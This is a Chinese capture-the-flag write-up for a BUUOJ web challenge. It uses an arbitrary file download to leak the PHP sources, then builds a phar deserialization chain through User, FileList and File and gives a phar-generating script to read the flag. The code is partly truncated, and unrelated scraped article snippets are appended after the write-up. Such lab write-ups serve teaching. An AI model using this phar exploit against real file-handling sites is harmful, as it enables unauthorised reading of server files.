感谢buuoj的大佬们搭建的复现环境。作为一位CTF的初学者,我会把每个题目的writeup都写的尽量详细,希望能帮到后面的初学者。
http://web42.buuoj.cn
文章会不定时继续完善,完善内容可能包括分析的错误、语病和文章结构等。
复现过程
进入解题页面发现需要登录,这里只需要注册一个账号然后登录即可。
登录以后是一个网盘的页面,最开始只有上传功能,并且只能上传png,jpg等图片格式。
随便上传一个符合要求的文件,发现可以对其进行下载和删除。通过抓下载的包发现,该处存在一个任意文件下载的漏洞,可以下载源码。
利用该漏洞下载download.php,delete.php以及其需要包含的class.php的内容。
open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= 'ä¸è½½ / å é¤ ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
注意到File类中的close方法执行时会获得文件的内容,如果能触发该方法,就有机会得到flag。
运行如下PHP文件,生成一个phar文件,更改后缀名为png进行上传。 (具体原理见下文的原理分析)
filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
在删除时使用burpsite抓包,修改参数,即可得到flag。
原理及源码分析
分析download.php的核心源码可以发现,该文件只有很常规的下载文件操作,并且限制了不能下载文件名中带有flag的文件。
open($filename) && stristr($filename, "flag") === false) {
#省略一些代码
echo $file->close();
} else {
echo "File not exist";
}
?>
接着分析delete.php的代码。
open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
单独看这段代码没有发现可以利用的地方,这段代码的作用只是返回一个成功或失败的消息。
接着分析class.php。
这个文件中定义了用户和文件相关的类。
filename);
}
}
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
#省略了一些影响阅读的table创建代码
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= ' ';
}
echo $table;
}
}
?>
File类中的close方法会获取文件内容,如果能触发该方法,就有可能获取flag。
User类中存在close方法,并且该方法在对象销毁时执行。
同时FileList类中存在call魔术方法,并且类没有close方法。如果一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。
根据以上三条线索,梳理一下可以得出结论:
如果能创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。
想实现上述想法,可以借助phar的伪协议。有一篇文章对phar伪协议的利用讲的很好,可以参考如下链接:
https://xz.aliyun.com/t/2715
生成phar文件后在删除的时候进行触发即可得到flag。
转载于:https://www.cnblogs.com/kevinbruce656/p/11316070.html
你可能感兴趣的:(ciscn2019华北赛区半决赛day1_web1题解)
9、汇编语言编程入门:从环境搭建到简单程序实现
神经网络酱
汇编语言 MEPIS GNU工具链
汇编语言编程入门:从环境搭建到简单程序实现1.数据存储介质问题解决在处理数据存储时,若要使用MEPIS系统,需确保有其可访问的存储介质。目前,MEPIS无法向采用NTFS格式(常用于Windows2000和XP工作站)的硬盘写入数据。不过,若硬盘采用FAT32格式,MEPIS就能进行写入操作。此外,MEPIS还能将文件写入软盘和大多数USB闪存驱动器。若工作站连接到局域网,还可通过FTP协议或挂载
MotionLCM 部署优化 踩坑解决bug
AI算法网奇
aigc与数字人 深度学习宝典 文生motion
目录依赖项windowstorchok:渲染黑白图问题解决:humanml3d:sentence-t5-large下载数据:报错:Nomodulenamed'sentence_transformers'继续报错:fromtransformers.integrationsimportCodeCarbonCallback解决方法:推理相关转mesh:module‘matplotlib.cm‘hasno
代码随想录算法训练营第三十五天
01背包问题二维题目链接01背包问题二维题解importjava.util.Scanner;publicclassMain{publicstaticvoidmain(String[]args){Scannersc=newScanner(System.in);intM=sc.nextInt();intN=sc.nextInt();int[]space=newint[M];int[]value=new
陈萌 中原焦点团队网络初级23期 坚持分享第33天 2020年8月11日
萌萌_ac9c
焦点解决的十条基本精神:1.不要把力气一直花在“分析问题”或是“探讨问题”的原因上,重点是如何“解决问题”。2.没有一件事情只有负面的意义。3.相信孩子是解决自己问题的专家。4.不要一直追寻难以达到的目标,要找到目前就可以做到的事情。5.小小的改变会带来大大的变化。6.成功的例外经验可以引导我们找到问题解决的方向。7.孩子的自我认识是不断建构的。8.合作是必然的现象。9.如果没有用,就不要固着,做
要重赛吗?G2击败不可一世的T1,兑现赛前狠话,拿下对抗赛开门红
游戏酱park
★游戏酱park原创5月20日,在MSI季中邀请赛六强对抗赛揭幕战中,来自欧美LEC赛区的G2战胜本土作战的LCK十冠王T1,拿下对抗赛开门红。赛后,G2战胜T1也瞬间冲上了热搜排行榜。这场比赛T1梦幻开局却惨被逆转,问题就出在中期一波T1莽撞rush大龙。G2众将及时赶来,由上单奥恩开启团战,配合Caps亚索切割T1后排阵型,小吕布Gumayusi和Oner毫无输出环境,击杀三位T1队员后,G2
Vue CSR 到 Nuxt 3 SSR 迁移:技术实现与问题解决实录
二倍速播放
前端 vue.js
1.迁移动机与技术选型1.1CSR架构的局限性基于Vue3和Vite构建的客户端渲染(CSR)单页应用(SPA)提供了良好的开发体验和用户交互流畅性。但是其核心局限在于:搜索引擎优化(SEO):初始HTML响应仅包含一个根div元素,实际内容由JavaScript在浏览器端动态生成。虽然主流搜索引擎(如Google)能够执行部分JavaScript,但其抓取效率和稳定性不如直接获取完整HTML。非
问句
柚橙妈咪
张艳焦点网络中级七期坚持分享第189天回顾一下今天读到的问句。开放问句:用来了解资料,找出关键词,引导谈话朝向正向,解决的方向。奇迹问句:问题解决了,你会有什么改变?谁会看到?假设问句:假设问题解决,跟现在会有什么不同?关注到现在的一小步。差异问句:问题解决跟未解决时的差别在哪?(估计我记得不准确,怎么和上一个一样呢?)例外问句:问题没有发生或者比较好时的情况,引导来访者寻找资源和力量。评量问句:
为什么大部分人对专科生存在偏见,专科生真的有那么差劲吗?
行走的蜡笔小新
高中读的是市重点中学,于是对所有的专科生有出奇的偏见缘分使然,让我有机会进入到专科学校学习三年,专科生真的有那么差么?重点中学每年都会有几个清华北大,我们这样平行班上出985、211也很是平常所以对于差生的偏见,甚至面对同市那些中学的学生都有很强的优越感,加上没有实实在在接触过,一度认为那些差生成群的学校都是男女关系混乱,成天打架斗殴,流氓地痞横行的地方那年夏天出成绩,对于单报本的我来说,刻骨铭心
webStorm使用esLint时,粘贴代码时tab跟space的问题
Aklan
之前的项目中没有引入过esLint,在上周引入后遇到一个头疼的问题。粘贴代码后,前面的空格变成了tabs图片.png困扰了将近一周的时间,都准备换编辑器了。。但是subLimeText个人感觉实在不好用,虽然webStorm很多人说不好用,但毕竟用了这么久了,习惯了,换新的编辑器感觉像自断双手,不会写东西了。所以今天实在受不了了,决定还是继续用webStorm,但要先把之前的问题解决掉。上周我就搜
【华为机试】121. 买卖股票的最佳时机
不爱熬夜的Coder
算法 华为机试 golang 华为 算法 华为od 深度优先 数据结构
文章目录121.买卖股票的最佳时机描述示例1示例2示例3提示解题思路方法一:一次遍历(推荐)方法二:暴力解法方法三:动态规划方法四:分治法代码实现复杂度分析测试用例完整题解代码121.买卖股票的最佳时机描述给定一个数组prices,它的第i个元素prices[i]表示一支给定股票第i天的价格。你只能选择某一天买入这只股票,并选择在未来的某一个不同的日子卖出该股票。设计一个算法来计算你所能获取的最大
计算机考研408真题解析(2023-09 深入解析散列表线性探测与惰性删除)
良师408
考研 散列表 数据结构 408真题 计算机考研
【良师408】计算机考研408真题解析(2023-09深入解析散列表线性探测与惰性删除)传播知识,做懂学生的好老师1.【哔哩哔哩】(良师408)2.【抖音】(良师408)goodteacher4083.【小红书】(良师408)4.【CSDN】(良师408)goodteacher4085.【微信】(良师408)goodteacher408特别提醒:【良师408】所收录真题根据考生回忆整理,命题版权归
在 CentOS 中安装 MySQL 的过程与问题解决方案
二向箔reverse
centos mysql linux
MySQL是一款广泛使用的开源关系型数据库管理系统,在CentOS系统中安装MySQL是很多开发者和运维人员常做的工作。下面将详细介绍安装过程以及可能遇到的问题和解决方案。一、安装前的准备工作在安装MySQL之前,需要做好一些准备工作,以确保安装过程顺利进行。检查系统版本:确认CentOS的版本,不同版本在安装MySQL时可能会有一些差异。可以使用cat/etc/centos-release命令查
oldguo-MySQL 8.0 OCP 原题解析-Q23
MySQL_oldguo
Question23:Examinethecommand,whichexecutesuccessfully:shell>mysqld--initialize-insecureWhichstatementistrue?A)Theinstallationcreatesatemporarytestenvironmentwithdatainthe/tmpdirectory.B)Theinstallatio
hideSoftInputFromWindow方法失效问题解决
西门小贼
问题:在处理一个事件之后显示一个EditView,此EditView获取焦点并显示软键盘,onStop中调用hideSoftInputFromWindow,软键盘不能自动收起。EditView获取焦点mSearchInput.setFocusable(true);mSearchInput.setFocusableInTouchMode(true);mSearchInput.requestFocus
RocketMQ常见问题梳理
kk在加油
rocketmq
MQ常见问题深度剖析:消息不丢失、顺序性、幂等性与积压处理本文基于RocketMQ核心原理,结合Kafka/RabbitMQ对比,深入分析MQ四大核心问题解决方案一、消息不丢失保障机制消息丢失风险点跨网络传输:生产者→Broker、Broker→消费者、主从同步Broker缓存机制:PageCache异步刷盘导致数据未持久化极端故障:整个MQ集群宕机生产者保证方案1.发送确认机制//RocketM
【AcWing 840题解】模拟散列表
墩墩同学
散列表 哈希算法 算法
AcWing840.模拟散列表【题目描述】在查看解析之前,先给自己一点时间思考哦!【题解】这是一个经典的集合操作问题,可以使用哈希表来高效地实现集合的插入和查询操作。哈希表设计:哈希表的大小为N=200003,这样可以减少冲突的概率(选取质数作为哈希表的大小有助于减少哈希冲突)。通过哈希碰撞解决,采用线性探测法(即在发生冲突时逐步检查下一个位置),直到找到空位或匹配的位置。哈希表的初始值设为nul
java对ac_AcWing 143. 最大异或对(Java)
weixin_39783156
java对ac
题目描述自己看题了最大异或对能来看我题解的,想必都看过Y总的课程了。我就说说我对这个Trie树算法解的两个问题1、son[n][m]怎么理解,位移数位个数为什么是从30-0右移?2、Trie树的构建逻辑3、Trie的查询逻辑算法1、son数组定义是二维数组,son[n][m]我在初学Trie树的时候很难理解,可以先理解它的第二维度,只有两种状态0/1,是因为这一位表示的是某个数字的的某一位是0/1
Tailwind CSS与服务器端渲染:SSR项目样式处理
AI实战架构笔记
AI架构开发实战 css 前端 ai
TailwindCSS与服务器端渲染:SSR项目样式处理关键词:TailwindCSS、服务器端渲染、SSR、样式处理、性能优化、Next.js、Nuxt.js摘要:本文将深入探讨如何在服务器端渲染(SSR)项目中高效使用TailwindCSS。我们将从基本原理出发,分析Tailwind在SSR环境下的独特挑战,提供完整的解决方案,并通过实际案例展示最佳实践。文章涵盖性能优化策略、常见问题解决以及
【AcWing 143题解】最大异或对
AcWing143.最大异或对【题目描述】在查看解析之前,先给自己一点时间思考哦!【题解】本题要求给定一个整数序列,找出其中任意两个数进行异或运算后,结果的最大值是多少。由于数据规模较大,我们不能简单地通过两层循环直接遍历所有组合,这样的时间复杂度会达到O(n2)O(n^2)O(n2),超出了时间限制。我们可以利用Trie树来高效解决这个问题。通过使用前缀树,我们能够将每个整数拆分成二进制形式,按
120.三角形最小路径和
HamletSunS
题解:给出一个三角形,求从顶点到最底层的路径的最小和方法:动态规划2个参数,i,j,代表从(i,j)出发直到底层的最小路径和。f(i,j)=t[i][j]+min(f[i+1][j],f[i+1][j+1])优化方案:根据dp的方程可以发现,当前元素只与下一行的同列和右侧有关系,与左侧无关。那么优化思路就是只用1行,从左开始往右更新即可。这样就可以只用一维数组dp[j]代表从某行(通过不断更新可更
代码随想录算法训练营第二十七天
天天开心(∩_∩)
算法 leetcode 职场和发展
LeetCode.455分发饼干题目链接分发饼干题解classSolution{publicintfindContentChildren(int[]g,int[]s){intcount=0;Arrays.sort(g);Arrays.sort(s);for(inti=0;i=g[count]){count++;}}returncount;}}解题思路这段代码实现了"分发饼干"问题的解决方案,其核心
景德镇9家司法亲子鉴定中心地址排名大全(附2024年鉴定中心汇总鉴定)
国医基因李主任
景德镇司法亲子鉴定中心在哪?景德镇司法亲子鉴定中心所在地:景德镇中华北路317号,国医基因是一家正规的司法亲子鉴定咨询机构。司法亲子鉴定中心在亲子鉴定是司法领域中的重要部分,它可以帮助解决家庭争端、确认亲子关系、保障未成年人的合法权益等重要问题。在现代社会,随着人们对家庭和法律关系的重视,亲子鉴定中心的作用变得越来越重要。国医基因作为景德镇这座繁荣发展城市的正规亲子鉴定中心,致力于为市民提供了全面
【删除有序数组中的重复项】问题
雪碧聊技术
力扣 删除有序数组的重复元素 双指针 / 快慢指针 原地算法
目录一.题目描述二.解题思路三.代码总结一.题目描述给你一个非严格递增排列的数组nums,请你原地删除重复出现的元素,使每个元素只出现一次,返回删除后数组的新长度。元素的相对顺序应该保持一致。然后返回nums中唯一元素的个数。考虑nums的唯一元素的数量为k,你需要做以下事情确保你的题解可以被通过:更改数组nums,使nums的前k个元素包含唯一元素,并按照它们最初在nums中出现的顺序排列。nu
辽宁女排半决赛惨败后,再次爆发,颜妮用实力证明:老将不死!
宁未离
最近随着全运会比赛的继续进行,不少比赛也都到了尾声。尤其是八支女排队伍的竞争,更是十分激烈,不过随着巡赛赛结束,四强小组赛的开始才是让大家大开眼界,虽然目前天津和江苏纷纷进入了决赛,但辽宁和上海的发挥也同样不俗,尤其是辽宁女排,不过让人遗憾的是辽宁女排虽然实力强悍,而且有很多像颜妮和丁霞之类的国家队老将。但实力发挥十分不稳定,面对天津更是打出了18-25、13-25、15-25,被天津女排零封,不
力扣2055. 蜡烛之间的盘子
剪一朵云爱着
算法 leetcode 算法
这一题刚开始没有什么思路,只知道因为数据范围是10000,要利用前缀和预处理出来要求的范围内有几个**,但如何找要求的范围内的左边的|和右边的|呢,我的第一个想法是再写一个for循环找出来最左边和最右边的|的位置,很明显的是,这样的时间复杂度是O(n^2)。看题解才知道:对找|的最左边和最右边的位置,可以用一个二分来优化这样时间复杂度就降到O(nlogn)是满足题意的也就是可以把问题简化为在一段范
2055. 蜡烛之间的盘子
Joyner2018
python 算法 leetcode python 数据结构
LeetCode题解:统计两根蜡烛之间的盘子数量(PlatesBetweenCandles)题目描述.在一张长桌子上,盘子(*)和蜡烛(|)排成一列,形成一个字符串s,每个字符代表一个物体:*表示盘子|表示蜡烛同时,给出一个二维整数数组queries,其中queries[i]=[left_i,right_i]表示我们需要统计字符串s中[left_i...right_i]这个子串中两根蜡烛之间的盘子
Leetcode-2537统计好子数组的数目
m0_67281377
Leetcode刷题记录 leetcode
依旧滑动窗口,2537.统计好子数组的数目。这题盯半天没读懂题目,样例2过了,样例1没过,感觉哪有问题,看了下灵神题解看到pairs+=cnt[x]++;茅塞顿开,原来题意没读懂。C++代码如下classSolution{public:longlongcountGood(vector&nums,intk){longlongans=0;intlen=nums.size(),left=0,cnt=0;
Vue项目发布后浏览器缓存问题解决
1.现象描述每次Jenkins自动化发布Vue项目后,用户需要手动全部清理历史缓存数据才可以使用系统,用户体验非常不好2.解决方案2.1配置public/index.html配置index.html,在首页启动no-store禁止缓存2.2配置vue.config.js按时间戳打包vue默认配置,打包后css和js的名字后面都加了哈希值,不会有缓存问题,当然我们也可以自己重新定义根据时间戳cons
LeetCode 146 LRU缓存机制 题解
NJU_lemon
Java LeetCode刷题记录 缓存 leetcode java
LeetCode146LRU缓存机制题解运用你所掌握的数据结构,设计和实现一个LRU(最近最少使用)缓存机制。实现LRUCache类:LRUCache(intcapacity)以正整数作为容量capacity初始化LRU缓存intget(intkey)如果关键字key存在于缓存中,则返回关键字的值,否则返回-1。voidput(intkey,intvalue)如果关键字已经存在,则变更其数据值;如
2020-01-14
TT_a994
我是一名情商传播者、情商销售顾问。我可帮助解决孩子得情绪管理人际交往问题解决挫折抵抗……能力提升。和对销售领域和初级管理者上面的一些简单培训。图片发自App
桌面上有多个球在同时运动,怎么实现球之间不交叉,即碰撞?
换个号韩国红果果
html 小球碰撞
稍微想了一下,然后解决了很多bug,最后终于把它实现了。其实原理很简单。在每改变一个小球的x y坐标后,遍历整个在dom树中的其他小球,看一下它们与当前小球的距离是否小于球半径的两倍?若小于说明下一次绘制该小球(设为a)前要把他的方向变为原来相反方向(与a要碰撞的小球设为b),即假如当前小球的距离小于球半径的两倍的话,马上改变当前小球方向。那么下一次绘制也是先绘制b,再绘制a,由于a的方向已经改变
《高性能HTML5》读后整理的Web性能优化内容
白糖_
html5
读后感
先说说《高性能HTML5》这本书的读后感吧,个人觉得这本书前两章跟书的标题完全搭不上关系,或者说只能算是讲解了“高性能”这三个字,HTML5完全不见踪影。个人觉得作者应该首先把HTML5的大菜拿出来讲一讲,再去分析性能优化的内容,这样才会有吸引力。因为只是在线试读,没有机会看后面的内容,所以不胡乱评价了。
[JShop]Spring MVC的RequestContextHolder使用误区
dinguangx
jeeshop 商城系统 jshop 电商系统
在spring mvc中,为了随时都能取到当前请求的request对象,可以通过RequestContextHolder的静态方法getRequestAttributes()获取Request相关的变量,如request, response等。 在jshop中,对RequestContextHolder的
算法之时间复杂度
周凡杨
java 算法 时间复杂度 效率
在
计算机科学 中,
算法 的时间复杂度是一个
函数 ,它定量描述了该算法的运行时间。这是一个关于代表算法输入值的
字符串 的长度的函数。时间复杂度常用
大O符号 表述,不包括这个函数的低阶项和首项系数。使用这种方式时,时间复杂度可被称为是
渐近 的,它考察当输入值大小趋近无穷时的情况。
这样用大写O()来体现算法时间复杂度的记法,
Java事务处理
g21121
java
一、什么是Java事务 通常的观念认为,事务仅与数据库相关。 事务必须服从ISO/IEC所制定的ACID原则。ACID是原子性(atomicity)、一致性(consistency)、隔离性(isolation)和持久性(durability)的缩写。事务的原子性表示事务执行过程中的任何失败都将导致事务所做的任何修改失效。一致性表示当事务执行失败时,所有被该事务影响的数据都应该恢复到事务执行前的状
Linux awk命令详解
510888780
linux
一. AWK 说明
awk是一种编程语言,用于在linux/unix下对文本和数据进行处理。数据可以来自标准输入、一个或多个文件,或其它命令的输出。它支持用户自定义函数和动态正则表达式等先进功能,是linux/unix下的一个强大编程工具。它在命令行中使用,但更多是作为脚本来使用。
awk的处理文本和数据的方式:它逐行扫描文件,从第一行到
android permission
布衣凌宇
Permission
<uses-permission android:name="android.permission.ACCESS_CHECKIN_PROPERTIES" ></uses-permission>允许读写访问"properties"表在checkin数据库中,改值可以修改上传
<uses-permission android:na
Oracle和谷歌Java Android官司将推迟
aijuans
java oracle
北京时间 10 月 7 日,据国外媒体报道,Oracle 和谷歌之间一场等待已久的官司可能会推迟至 10 月 17 日以后进行,这场官司的内容是 Android 操作系统所谓的 Java 专利权之争。本案法官 William Alsup 称根据专利权专家 Florian Mueller 的预测,谷歌 Oracle 案很可能会被推迟。 该案中的第二波辩护被安排在 10 月 17 日出庭,从目前看来
linux shell 常用命令
antlove
linux shell command
grep [options] [regex] [files]
/var/root # grep -n "o" *
hello.c:1:/* This C source can be compiled with:
Java解析XML配置数据库连接(DOM技术连接 SAX技术连接)
百合不是茶
sax技术 Java解析xml文档 dom技术 XML配置数据库连接
XML配置数据库文件的连接其实是个很简单的问题,为什么到现在才写出来主要是昨天在网上看了别人写的,然后一直陷入其中,最后发现不能自拔 所以今天决定自己完成 ,,,,现将代码与思路贴出来供大家一起学习
XML配置数据库的连接主要技术点的博客;
JDBC编程 : JDBC连接数据库
DOM解析XML: DOM解析XML文件
SA
underscore.js 学习(二)
bijian1013
JavaScript underscore
Array Functions 所有数组函数对参数对象一样适用。1.first _.first(array, [n]) 别名: head, take 返回array的第一个元素,设置了参数n,就
plSql介绍
bijian1013
oracle 数据库 plsql
/*
* PL/SQL 程序设计学习笔记
* 学习plSql介绍.pdf
* 时间:2010-10-05
*/
--创建DEPT表
create table DEPT
(
DEPTNO NUMBER(10),
DNAME NVARCHAR2(255),
LOC NVARCHAR2(255)
)
delete dept;
select
【Nginx一】Nginx安装与总体介绍
bit1129
nginx
启动、停止、重新加载Nginx
nginx 启动Nginx服务器,不需要任何参数u
nginx -s stop 快速(强制)关系Nginx服务器
nginx -s quit 优雅的关闭Nginx服务器
nginx -s reload 重新加载Nginx服务器的配置文件
nginx -s reopen 重新打开Nginx日志文件
spring mvc开发中浏览器兼容的奇怪问题
bitray
jquery Ajax springMVC 浏览器 上传文件
最近个人开发一个小的OA项目,属于复习阶段.使用的技术主要是spring mvc作为前端框架,mybatis作为数据库持久化技术.前台使用jquery和一些jquery的插件.
在开发到中间阶段时候发现自己好像忽略了一个小问题,整个项目一直在firefox下测试,没有在IE下测试,不确定是否会出现兼容问题.由于jquer
Lua的io库函数列表
ronin47
lua io
1、io表调用方式:使用io表,io.open将返回指定文件的描述,并且所有的操作将围绕这个文件描述
io表同样提供三种预定义的文件描述io.stdin,io.stdout,io.stderr
2、文件句柄直接调用方式,即使用file:XXX()函数方式进行操作,其中file为io.open()返回的文件句柄
多数I/O函数调用失败时返回nil加错误信息,有些函数成功时返回nil
java-26-左旋转字符串
bylijinnan
java
public class LeftRotateString {
/**
* Q 26 左旋转字符串
* 题目:定义字符串的左旋转操作:把字符串前面的若干个字符移动到字符串的尾部。
* 如把字符串abcdef左旋转2位得到字符串cdefab。
* 请实现字符串左旋转的函数。要求时间对长度为n的字符串操作的复杂度为O(n),辅助内存为O(1)。
*/
pu
《vi中的替换艺术》-linux命令五分钟系列之十一
cfyme
linux命令
vi方面的内容不知道分类到哪里好,就放到《Linux命令五分钟系列》里吧!
今天编程,关于栈的一个小例子,其间我需要把”S.”替换为”S->”(替换不包括双引号)。
其实这个不难,不过我觉得应该总结一下vi里的替换技术了,以备以后查阅。
1
所有替换方案都要在冒号“:”状态下书写。
2
如果想将abc替换为xyz,那么就这样
:s/abc/xyz/
不过要特别
[轨道与计算]新的并行计算架构
comsci
并行计算
我在进行流程引擎循环反馈试验的过程中,发现一个有趣的事情。。。如果我们在流程图的每个节点中嵌入一个双向循环代码段,而整个流程中又充满着很多并行路由,每个并行路由中又包含着一些并行节点,那么当整个流程图开始循环反馈过程的时候,这个流程图的运行过程是否变成一个并行计算的架构呢?
重复执行某段代码
dai_lm
android
用handler就可以了
private Handler handler = new Handler();
private Runnable runnable = new Runnable() {
public void run() {
update();
handler.postDelayed(this, 5000);
}
};
开始计时
h
Java实现堆栈(list实现)
datageek
数据结构——堆栈
public interface IStack<T> {
//元素出栈,并返回出栈元素
public T pop();
//元素入栈
public void push(T element);
//获取栈顶元素
public T peek();
//判断栈是否为空
public boolean isEmpty
四大备份MySql数据库方法及可能遇到的问题
dcj3sjt126com
DB backup
一:通过备份王等软件进行备份前台进不去?
用备份王等软件进行备份是大多老站长的选择,这种方法方便快捷,只要上传备份软件到空间一步步操作就可以,但是许多刚接触备份王软件的客用户来说还原后会出现一个问题:因为新老空间数据库用户名和密码不统一,网站文件打包过来后因没有修改连接文件,还原数据库是好了,可是前台会提示数据库连接错误,网站从而出现打不开的情况。
解决方法:学会修改网站配置文件,大多是由co
github做webhooks:[1]钩子触发是否成功测试
dcj3sjt126com
github git webhook
转自: http://jingyan.baidu.com/article/5d6edee228c88899ebdeec47.html
github和svn一样有钩子的功能,而且更加强大。例如我做的是最常见的push操作触发的钩子操作,则每次更新之后的钩子操作记录都会在github的控制板可以看到!
工具/原料
github
方法/步骤
">的作用" target="_blank">JSP中 的作用
蕃薯耀
JSP中<base href="<%=basePath%>">的作用
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
linux下SAMBA服务安装与配置
hanqunfeng
linux
局域网使用的文件共享服务。
一.安装包:
rpm -qa | grep samba
samba-3.6.9-151.el6.x86_64
samba-common-3.6.9-151.el6.x86_64
samba-winbind-3.6.9-151.el6.x86_64
samba-client-3.6.9-151.el6.x86_64
samba-winbind-clients
guava cache
IXHONG
cache
缓存,在我们日常开发中是必不可少的一种解决性能问题的方法。简单的说,cache 就是为了提升系统性能而开辟的一块内存空间。
缓存的主要作用是暂时在内存中保存业务系统的数据处理结果,并且等待下次访问使用。在日常开发的很多场合,由于受限于硬盘IO的性能或者我们自身业务系统的数据处理和获取可能非常费时,当我们发现我们的系统这个数据请求量很大的时候,频繁的IO和频繁的逻辑处理会导致硬盘和CPU资源的
Query的开始--全局变量,noconflict和兼容各种js的初始化方法
kvhur
JavaScript jquery css
这个是整个jQuery代码的开始,里面包含了对不同环境的js进行的处理,例如普通环境,Nodejs,和requiredJs的处理方法。 还有jQuery生成$, jQuery全局变量的代码和noConflict代码详解 完整资源:
http://www.gbtags.com/gb/share/5640.htm jQuery 源码:
(
美国人的福利和中国人的储蓄
nannan408
今天看了篇文章,震动很大,说的是美国的福利。
美国医院的无偿入院真的是个好措施。小小的改善,对于社会是大大的信心。小孩,税费等,政府不收反补,真的体现了人文主义。
美国这么高的社会保障会不会使人变懒?答案是否定的。正因为政府解决了后顾之忧,人们才得以倾尽精力去做一些有创造力,更造福社会的事情,这竟成了美国社会思想、人
N阶行列式计算(JAVA)
qiuwanchi
N阶行列式计算
package gaodai;
import java.util.List;
/**
* N阶行列式计算
* @author 邱万迟
*
*/
public class DeterminantCalculation {
public DeterminantCalculation(List<List<Double>> determina
C语言算法之打渔晒网问题
qiufeihu
c 算法
如果一个渔夫从2011年1月1日开始每三天打一次渔,两天晒一次网,编程实现当输入2011年1月1日以后任意一天,输出该渔夫是在打渔还是在晒网。
代码如下:
#include <stdio.h>
int leap(int a) /*自定义函数leap()用来指定输入的年份是否为闰年*/
{
if((a%4 == 0 && a%100 != 0
XML中DOCTYPE字段的解析
wyzuomumu
xml
DTD声明始终以!DOCTYPE开头,空一格后跟着文档根元素的名称,如果是内部DTD,则再空一格出现[],在中括号中是文档类型定义的内容. 而对于外部DTD,则又分为私有DTD与公共DTD,私有DTD使用SYSTEM表示,接着是外部DTD的URL. 而公共DTD则使用PUBLIC,接着是DTD公共名称,接着是DTD的URL.
私有DTD
<!DOCTYPErootSYST